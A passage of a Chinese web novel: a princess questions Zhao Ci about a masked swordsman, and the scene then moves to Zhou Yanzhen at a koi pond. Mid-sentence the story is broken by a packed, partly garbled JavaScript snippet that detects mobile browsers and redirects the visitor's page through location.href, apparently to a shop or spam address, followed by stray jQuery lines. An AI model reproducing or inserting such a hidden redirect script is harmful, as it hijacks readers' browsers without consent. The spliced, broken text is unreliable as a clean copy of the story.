没想到赵辞脸上却无半分波澜,淡淡点了点头:“然后呢?”
赵清漓惊讶地“咦”了一声,问道:“你、你怎么一点也不吃惊?你不觉得这些话十分荒谬吗?”
赵辞偏过头,用一种非常理所当然的眼神看着她:“我说过,回去之后我已经仔细考虑过你说的话,我若不信你,便不会再来问你。”
好像是这个道理。
“我......”赵清漓回忆了一番当时的场景,不确定道,“我不知道是谁,我只记得有个男人,拿了一把很长、很锋利的剑。”
赵辞沉思了片刻,耐心询问:“那个人的长相如何,身形如何,声音是什么样的,若再见你可认得出?”
赵清漓的脸色瞬间垮了下来,颓败地小声嘀咕:“不知道,那天晚上下了很大的雨,声音很乱,我听不清,而且他带着青铜面具,脸被挡的严严实实的,穿的又是黑衣......”
“我只知道他很高!”
听她说完,赵辞默默看了她一眼。
赵清漓抿唇,她清楚的从他眼神中读出一抹无奈和叹其不争气的意味。
她自己也很无奈,若是她了解的清楚,那事情可不就好办了吗?何必在这里猜来猜去,还要留心谁和皇室有怨。
时至今日,她的怀疑名单里还只是只有一个赵姝绾,偏偏她又认为赵姝绾势单力薄,不像能做出这些事的人。
直到方才赵辞提到了那个“他”。
“所以皇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16999040|193936||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
兄......”赵清漓一脸认真地拉着他的衣袖,眼巴巴地仰头望着他,央求道,“你就告诉我吧,把你知道的都告诉我,好不好?”
她也不确定自己这样求他有没有用,但母后曾经说过,没有哪个男人不喜欢女人温声软语,因此才让她出嫁以后少些娇气,凡事要识大体、懂得退让。
显然,皇后的话是对的。
赵辞脸上的神色都变得柔和许多,挑起眉反问:“你想知道什么?”
赵清漓面色一喜,正想继续问下去,陡然又顿住话头,迟疑道:“这里不是说话的地方......我晚些去你宫里找你!你等我!”
“好。”赵辞立刻应下,目光下移落至她紧紧攥着自己衣袖的葱白玉指上,唇角不自觉的悄悄勾起。
好,很好。
——————
起风了,堆成小山的落叶在院子中间打了个旋儿,毫无章法的四散开来,卷着尘落在边边角角。
眼尖的丫鬟抱怨地惊叫,好不容易扫至一处,这会儿又成了白费力气。然而也只能抱怨这么几句,还是得继续。
白玉栏边,周砚枕一手捏着小巧精致的茶杯,衣角被秋风吹得扬起又反卷,他却浑然不觉。目光远眺着面前随风泛起波纹的水面,似是在出神。
这处小小的池塘里养着几条锦鲤,气候暖的时候都争抢着跃出水面,现在凉了,倒也都少见踪影,在水底躲着。
忽的,门外响起动静,紧接着是春桃小跑着进门,气息还有些微喘。
周砚枕目光微微闪烁了几下,收回目光,转头看向声音的来源,询